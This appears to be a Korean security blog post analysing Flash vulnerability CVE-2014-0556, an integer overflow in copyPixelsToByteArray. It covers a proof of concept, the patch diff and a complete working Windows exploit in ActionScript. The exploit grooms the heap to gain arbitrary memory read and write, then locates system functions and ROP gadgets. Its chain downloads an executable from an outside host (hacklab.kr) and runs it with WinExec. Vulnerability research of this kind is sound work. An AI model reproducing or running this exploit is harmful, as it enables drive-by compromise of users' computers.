Flash, CVE-2014-0556 분석

구글 프로젝트 제로에서 발견한 CVE-2014-0556 Flash 취약점에 대한 분석 포스트입니다.

CVE-2014-0556 은 인티저 오버플로우 유형으로 인티저 오버플로우 연산 결과가 데이터 버퍼 주소를 얻는데 사용되고 결국 버퍼 오버플로우를 발생시켜 메모리 임의 위치를 변조할 수 있는 취약점 입니다.

구글 프로젝트 제로 블로그의 관련 내용은 이전 포스트에서 번역된 내용을 확인할 수 있습니다. 취약점 분석 환경은 Windows 7 & Flash ActiveX 14.0.0.176 입니다.

1. POC 분석

취약점을 유발하는 POC 코드입니다. Rectangle(rec) 오브젝트의 데이터를 ByteArray(ba)로 복사합니다. 비트맵 데이터를 복사하기 전에 복사 대상인 ByteArray 버퍼가 충분한지 검사하는 코드에서 인티저 오버플로우가 발생합니다.

rec.size = (rec.width – rec.x) * (rec.height – rec.y) * 4
check = rec.size + ba.position // integer overflow!
ba.length >= check ? copy_data(ba.buffer + ba.position, rec.data) : ba.new_buffer(size = check) & copy_data(ba.buffer + ba.position, rec.data)

데이터 복사 전 위의 코드가 실행됩니다. ByteArray 데이터 버퍼가 충분한 경우 ba.bufferPtr + ba.position 위치를 복사 대상 버퍼로 비트맵 데이터를 복사합니다.
결국 POC 코드의 경우 메모리 임의 위치의 ByteArray 데이터 버퍼 이전 4096 바이트를 조작할 수 있습니다.
ByteArray의 position(uint type) 멤버가 데이터를 읽고 씀에 따라 자동으로 가감되면서 현재 버퍼의 위치를 가르키는 용도기 때문에 copyPixelsToByteArray 메소드 역시 버퍼의 시작 지점이 아닌 메소드가 호출된 시점의 버퍼 위치를 구하는 것으로 보입니다.

package
{
	import flash.display.Sprite
	import flash.display.BitmapData
	import flash.geom.Rectangle
	import flash.utils.ByteArray

	public class Main extends Sprite 
	{
		public function Main() 
		{
			var ba:ByteArray = new ByteArray()
			ba.length = 0x2000
			ba.position = 0xFFFFF000 // -0x1000
			var bd:BitmapData = new BitmapData(128, 16)
			bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), ba) // 128 * 16 * 4 = 0x2000
			// (rec.width - rec.x) * (rec.height - rec.y) * 4 + ba.position = 0x1000
			// if (ba.length >= 0x1000) vuln()
		}
	}
}

cve_2014_0556_vuln

2. 패치 분석

패치된 내용을 비교 분석은 Flash 15.0.0.167 버전을 사용했습니다.
추가된 코드는 rec.size + ba.position 연산 결과가 0 이거나 캐리 플래그를 설정할 경우 1000(The system is out of memory) 익셉션을 발생시키는 코드가 추가 되었습니다.
cve_2014_0556_diff
cve_2014_0556_diff2
처음 분석할 때는 사용하지 않았지만 Bindiff 를 사용해야 하는 일이 생겨서 좀 더 보기 좋은 Bindiff 디핑 결과를 추가합니다.
타겟 : 15.0.0.152 vs 14.0.0.176

cve_2014_0556_bindiff_01
cve_2014_0556_bindiff_02

3. windows x86 Exploit – tested on windows 7 SP1 & Flash 14.0.0.176

package
{
	import flash.display.Sprite
	import flash.display.BitmapData
	import flash.geom.Rectangle
	import flash.utils.ByteArray
	import flash.text.TextField

	public class Main extends Sprite 
	{
		private var bv:Vector.<ByteArray> = new Vector.<ByteArray>(12800)
		private var uv:Vector.<Object> = new Vector.<Object>(12800)
		private var bd:BitmapData = new BitmapData(128, 16)
		private var tf:TextField = new TextField()
		private var i:uint
		
		public function Main() 
		{
			tf.width = 800; tf.height = 800; this.addChild(tf)

			for (i = 0; i < bv.length; i++) {
				bv[i] = new ByteArray()
				bv[i].length = 0x2000
				bv[i].position = 0xFFFFF000
			}
			
			for (i = 0; i < bv.length; i++)
				if (i % 2 == 0) bv[i] = null
			
			for (i = 0; i < uv.length; i++)
				uv[i] = new Vector.<uint>(1022)
			
			bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401])
			
			for (i = 0; ; i++)
				if (uv[i].length == 0xffffffff) break
			
			for (var i2:uint = 1; i2 < uv.length; i2++) {
				if (i == i2) continue
				uv[i2] = new Vector.<Object>(1014)
				uv[i2][0] = bv[6401]
				uv[i2][1] = this
			}
			
			uv[i][0] = uv[i][0xfffffc03] - 0x18 + 0x1000
			bv[6401].endian = "littleEndian"
			bv[6401].length = 0x500000
			var buffer:uint = vector_read(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8) + 0x100000
			var main:uint = uv[i][0xfffffc09] - 1
			var vtable:uint = vector_read(main)
			vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 8)
			vector_write(vector_read(uv[i][0xfffffc08] + 0x40 - 1) + 16, 0xffffffff)
			byte_write(uv[i][0] + 4, byte_read(uv[i][0] - 0x1000 + 8))
			byte_write(uv[i][0])
			
			var flash:uint = base(vtable)
			var kernel32:uint = module("kernel32.dll", flash)
			var ntdll:uint = module("ntdll.dll", kernel32)
			var urlmon:uint = module("urlmon.dll", flash)
			var virtualprotect:uint = procedure("VirtualProtect", kernel32)
			var winexec:uint = procedure("WinExec", kernel32)
			var urldownloadtofile:uint = procedure("URLDownloadToFileA", urlmon);
			var getenvironmentvariable:uint = procedure("GetEnvironmentVariableA", kernel32)
			var setcurrentdirectory:uint = procedure("SetCurrentDirectoryA", kernel32)
			var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
			var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)

			byte_write(buffer + 0x30000, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
			byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
			byte_write(0, "\x89\x03", false) // mov [ebx], eax
			byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret

			byte_write(buffer + 0x100, "http://hacklab.kr/download/0day.exe")
			byte_write(buffer + 0x200, "0day.exe")
			byte_write(buffer + 0x300, "TEMP")
			byte_write(buffer + 0x20070, xchgeaxespret)
			byte_write(buffer + 0x20000, xchgeaxesiret)
			byte_write(0, virtualprotect)

			// VirtualProtect
			byte_write(0, getenvironmentvariable)
			byte_write(0, buffer + 0x30000)
			byte_write(0, 0x1000)
			byte_write(0, 0x40)
			byte_write(0, buffer + 0x400)

			// GetEnvironmentVariable
			byte_write(0, setcurrentdirectory)
			byte_write(0, buffer + 0x300)
			byte_write(0, buffer + 0x400)
			byte_write(0, 100)

			// SetCurrentDirectory
			byte_write(0, urldownloadtofile)
			byte_write(0, buffer + 0x400)

			// URLDownloadToFile
			byte_write(0, winexec)
			byte_write(0)
			byte_write(0, buffer + 0x100)
			byte_write(0, buffer + 0x200)
			byte_write(0)
			byte_write(0)

			// WinExec
			byte_write(0, buffer + 0x30000)
			byte_write(0, buffer + 0x200)
			byte_write(0)

			byte_write(main, buffer + 0x20000)
			this.toString()
			tf.appendText("SUCCESS!")
		}
		
		private function vector_write(addr:uint, value:uint = 0):void
		{
			addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] = value : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1] = value
		}

		private function vector_read(addr:uint):uint
		{
			return addr > uv[i][0] ? uv[i][(addr - uv[i][0]) / 4 - 2] : uv[i][0xffffffff - (uv[i][0] - addr) / 4 - 1]
		}
		
		private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
		{
			if (addr) bv[6401].position = addr
			if (value is String) {
				for (var i:uint; i < value.length; i++) bv[6401].writeByte(value.charCodeAt(i))
				if (zero) bv[6401].writeByte(0)
			} else bv[6401].writeUnsignedInt(value)
		}

		private function byte_read(addr:uint, type:String = "dword"):uint
		{
			bv[6401].position = addr
			switch(type) {
				case "dword":
					return bv[6401].readUnsignedInt()
				case "word":
					return bv[6401].readUnsignedShort()
				case "byte":
					return bv[6401].readUnsignedByte()
			}
			return 0
		}
		
		private function base(addr:uint):uint
		{
			addr &= 0xffff0000
			while (true) {
				if (byte_read(addr) == 0x00905a4d) return addr
				addr -= 0x10000
			}
			return 0
		}

		private function module(name:String, addr:uint):uint
		{
			var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80), i:int = -1
			while (true) {
				var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
				if (!entry) throw new Error("FAIL!");
				bv[6401].position = addr + entry
				if (bv[6401].readUTFBytes(name.length).toUpperCase() == name.toUpperCase()) break
			}
			return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)))
		}

		private function procedure(name:String, addr:uint):uint
		{
			var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
			var numberOfNames:uint = byte_read(eat + 0x18)
			var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
			var addressOfNames:uint = addr + byte_read(eat + 0x20)
			var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
			for (var i:uint = 0; ; i++) {
				var entry:uint = byte_read(addressOfNames + i * 4)
				bv[6401].position = addr + entry
				if (bv[6401].readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
			}
			return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
		}

		private function gadget(gadget:String, hint:uint, addr:uint):uint
		{
			var find:uint = 0
			var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
			var value:uint = parseInt(gadget, 16)
			for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
			return addr + i
		}
	}
}

4. 참고

* http://helpx.adobe.com/security/products/flash-player/apsb14-21.html
* http://googleprojectzero.blogspot.kr/2014/09/exploiting-cve-2014-0556-in-flash.html
* https://code.google.com/p/google-security-research/issues/detail?id=78
* http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0556
* http://packetstormsecurity.com/files/128495/Adobe-Flash-14.0.0.145-copyPixelsToByteArray-Heap-Overflow.html
* http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/display/BitmapData.html
* http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/geom/Rectangle.html
* http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/utils/ByteArray.html

hacking is much more about attitude than about aptitude.